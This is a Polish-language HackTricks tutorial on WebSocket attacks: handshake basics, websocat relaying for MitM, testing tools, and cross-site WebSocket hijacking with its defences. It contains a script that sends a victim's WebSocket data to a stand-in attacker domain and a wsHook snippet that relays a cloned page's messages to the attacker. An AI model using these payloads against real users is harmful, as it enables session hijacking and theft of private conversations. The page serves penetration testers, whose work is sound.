Ataki WebSocket

Reading time: 10 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym są WebSockety

Połączenia WebSocket są nawiązywane poprzez początkowe HTTP handshake i są zaprojektowane do bycia długoterminowymi, co pozwala na dwukierunkowe przesyłanie wiadomości w dowolnym momencie bez potrzeby systemu transakcyjnego. To sprawia, że WebSockety są szczególnie korzystne dla aplikacji wymagających niskiej latencji lub komunikacji inicjowanej przez serwer, takich jak strumienie danych finansowych na żywo.

Nawiązywanie Połączeń WebSocket

Szczegółowe wyjaśnienie nawiązywania połączeń WebSocket można znaleźć tutaj. Podsumowując, połączenia WebSocket są zazwyczaj inicjowane za pomocą JavaScript po stronie klienta, jak pokazano poniżej:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Protokół wss oznacza połączenie WebSocket zabezpieczone TLS, podczas gdy ws wskazuje na niezabezpieczone połączenie.

Podczas nawiązywania połączenia wykonywane jest uzgadnianie między przeglądarką a serwerem za pomocą HTTP. Proces uzgadniania polega na tym, że przeglądarka wysyła żądanie, a serwer odpowiada, co ilustrują poniższe przykłady:

Przeglądarka wysyła żądanie uzgadniania:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odpowiedź handshake serwera:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Po nawiązaniu połączenia pozostaje ono otwarte do wymiany wiadomości w obu kierunkach.

Kluczowe punkty handshake WebSocket:

  • Nagłówki Connection i Upgrade sygnalizują rozpoczęcie handshake WebSocket.
  • Nagłówek Sec-WebSocket-Version wskazuje pożądaną wersję protokołu WebSocket, zazwyczaj 13.
  • W nagłówku Sec-WebSocket-Key wysyłana jest losowa wartość zakodowana w Base64, co zapewnia, że każdy handshake jest unikalny, co pomaga zapobiegać problemom z proxy pamięci podręcznej. Ta wartość nie służy do uwierzytelniania, ale do potwierdzenia, że odpowiedź nie jest generowana przez źle skonfigurowany serwer lub pamięć podręczną.
  • Nagłówek Sec-WebSocket-Accept w odpowiedzi serwera jest hashem Sec-WebSocket-Key, weryfikującym zamiar serwera do otwarcia połączenia WebSocket.

Te funkcje zapewniają, że proces handshake jest bezpieczny i niezawodny, torując drogę do efektywnej komunikacji w czasie rzeczywistym.

Konsola Linux

Możesz użyć websocat, aby nawiązać surowe połączenie z websocketem.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Lub aby utworzyć serwer websocat:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Jeśli odkryjesz, że klienci są połączeni z HTTP websocket z twojej bieżącej lokalnej sieci, możesz spróbować ataku ARP Spoofing Attack, aby przeprowadzić atak MitM między klientem a serwerem.
Gdy klient próbuje się połączyć, możesz wtedy użyć:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Możesz użyć narzędzia https://github.com/PalindromeLabs/STEWS do automatycznego odkrywania, identyfikacji i wyszukiwania znanych vulnerabilities w websockets.

Websocket Debug tools

  • Burp Suite obsługuje komunikację MitM w websockets w bardzo podobny sposób, jak robi to dla zwykłej komunikacji HTTP.
  • Rozszerzenie socketsleuth Burp Suite pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, uzyskując historię, ustawiając reguły przechwytywania, używając reguł match and replace, korzystając z Intruder i AutoRepeater.
  • WSSiP: Skrót od "WebSocket/Socket.io Proxy", to narzędzie, napisane w Node.js, zapewnia interfejs użytkownika do przechwytywania, przechwytywania, wysyłania niestandardowych wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
  • wsrepl to interaktywny websocket REPL zaprojektowany specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania przychodzących wiadomości websocket i wysyłania nowych, z łatwym w użyciu frameworkiem do automatyzacji tej komunikacji.
  • https://websocketking.com/ to strona do komunikacji z innymi stronami za pomocą websockets.
  • https://hoppscotch.io/realtime/websocket wśród innych typów komunikacji/protokółów, zapewnia stronę do komunikacji z innymi stronami za pomocą websockets.

Decrypting Websocket

Websocket Lab

W Burp-Suite-Extender-Montoya-Course masz kod do uruchomienia strony używającej websockets, a w tym poście znajdziesz wyjaśnienie.

Websocket Fuzzing

Rozszerzenie burp Backslash Powered Scanner teraz pozwala również na fuzzing wiadomości WebSocket. Możesz przeczytać więcej informacji na ten temat tutaj.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, znane również jako cross-origin WebSocket hijacking, jest identyfikowane jako specyficzny przypadek Cross-Site Request Forgery (CSRF) wpływający na handshake WebSocket. Ta luka występuje, gdy handshake WebSocket autoryzuje wyłącznie za pomocą ciasteczek HTTP bez tokenów CSRF lub podobnych środków bezpieczeństwa.

Napastnicy mogą to wykorzystać, hostując złośliwą stronę internetową, która inicjuje połączenie WebSocket między witrynami do podatnej aplikacji. W konsekwencji to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.

Aby ten atak zadziałał, muszą być spełnione następujące wymagania:

  • autoryzacja websocket musi być oparta na ciasteczkach
  • ciasteczko musi być dostępne z serwera napastnika (zwykle oznacza to SameSite=None) i nie może być włączona Firefox Total Cookie Protection w Firefoxie oraz nie mogą być blokowane ciasteczka stron trzecich w Chrome.
  • serwer websocket nie może sprawdzać pochodzenia połączenia (lub to musi być możliwe do ominięcia)

Również:

  • Jeśli autoryzacja opiera się na lokalnym połączeniu (do localhost lub do lokalnej sieci), atak będzie możliwy, ponieważ obecne zabezpieczenia tego nie zabraniają (sprawdź więcej informacji tutaj)

Simple Attack

Zauważ, że podczas nawiązywania połączenia websocket ciasteczko jest wysyłane do serwera. Serwer może go używać do powiązania każdego konkretnego użytkownika z jego sesją websocket na podstawie wysłanego ciasteczka.

Jeśli na przykład serwer websocket wysyła z powrotem historię rozmowy użytkownika, gdy wysyłana jest wiadomość z "READY", to prosty XSS nawiązujący połączenie (ciasteczko zostanie wysłane automatycznie w celu autoryzacji użytkownika ofiary) wysyłając "READY" będzie w stanie odzyskać historię rozmowy.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

W tym wpisie na blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ atakujący zdołał wykonać dowolny Javascript w subdomenie domeny, w której odbywała się komunikacja przez web socket. Ponieważ była to subdomena, ciasteczko było wysyłane, a ponieważ Websocket nie sprawdzał poprawnie Origin, możliwe było komunikowanie się z nim i kradzież tokenów.

Stealing data from user

Skopiuj aplikację webową, którą chcesz naśladować (na przykład pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja przez websocket, dodaj ten kod:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Teraz pobierz plik wsHook.js z https://github.com/skepticfx/wshook i zapisz go w folderze z plikami webowymi.
Ekspozycja aplikacji webowej i zmuszenie użytkownika do połączenia się z nią pozwoli ci ukraść wysyłane i odbierane wiadomości za pomocą websocket:

javascript
sudo python3 -m http.server 80

Ochrony CSWSH

Atak CSWSH opiera się na fakcie, że użytkownik połączy się z złośliwą stroną, która otworzy połączenie websocket do strony internetowej, na której użytkownik jest już zalogowany i uwierzytelni się jako on, ponieważ żądanie wyśle ciasteczka użytkownika.

Obecnie bardzo łatwo jest zapobiec temu problemowi:

  • Serwer websocket sprawdzający pochodzenie: Serwer websocket powinien zawsze sprawdzać, skąd użytkownik się łączy, aby zapobiec nieoczekiwanym stronom łączącym się z nim.
  • Token uwierzytelniający: Zamiast opierać uwierzytelnienie na ciasteczku, połączenie websocket mogłoby być oparte na tokenie generowanym przez serwer dla użytkownika, który jest nieznany atakującemu (jak token anty-CSRF).
  • Atrybut ciasteczka SameSite: Ciasteczka z wartością SameSite jako Lax lub Strict nie będą wysyłane z zewnętrznej strony atakującego do serwera ofiary, dlatego uwierzytelnienie oparte na ciasteczkach nie będzie skuteczne. Należy zauważyć, że Chrome teraz ustawia wartość Lax dla ciasteczek bez tego flagi, co czyni to bardziej bezpiecznym domyślnie. Chociaż przez pierwsze 2 minuty po utworzeniu ciasteczka będzie miało wartość None, co czyni je podatnym w tym ograniczonym okresie czasu (oczekuje się również, że ten środek zostanie w pewnym momencie usunięty).
  • Całkowita ochrona ciasteczek w Firefoxie: Całkowita ochrona ciasteczek działa poprzez izolowanie ciasteczek do strony, na której zostały utworzone. W zasadzie każda strona ma swoją własną partycję przechowywania ciasteczek, aby zapobiec łączeniu historii przeglądania użytkownika przez osoby trzecie. To sprawia, że CSWSH jest nieużyteczne, ponieważ strona atakującego nie będzie miała dostępu do ciasteczek.
  • Blokada ciasteczek stron trzecich w Chrome: To również może zapobiec wysyłaniu ciasteczka uwierzytelnionego użytkownika do serwera websocket, nawet przy SameSite=None.

Warunki wyścigu

Warunki wyścigu w WebSocketach to również problem, sprawdź te informacje, aby dowiedzieć się więcej.

Inne podatności

Ponieważ WebSockety są mechanizmem do wysyłania danych do strony serwera i klienta, w zależności od tego, jak serwer i klient obsługują informacje, WebSockety mogą być używane do wykorzystywania kilku innych podatności, takich jak XSS, SQLi lub jakiekolwiek inne powszechne podatności webowe, wykorzystując dane wejściowe użytkownika z websocketu.

Przemyt WebSocketów

Ta podatność może pozwolić na obejście ograniczeń reverse proxy, sprawiając, że uwierzą, że komunikacja websocket została nawiązana (nawet jeśli to nieprawda). To może pozwolić atakującemu na dostęp do ukrytych punktów końcowych. Aby uzyskać więcej informacji, sprawdź następującą stronę:

Upgrade Header Smuggling

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks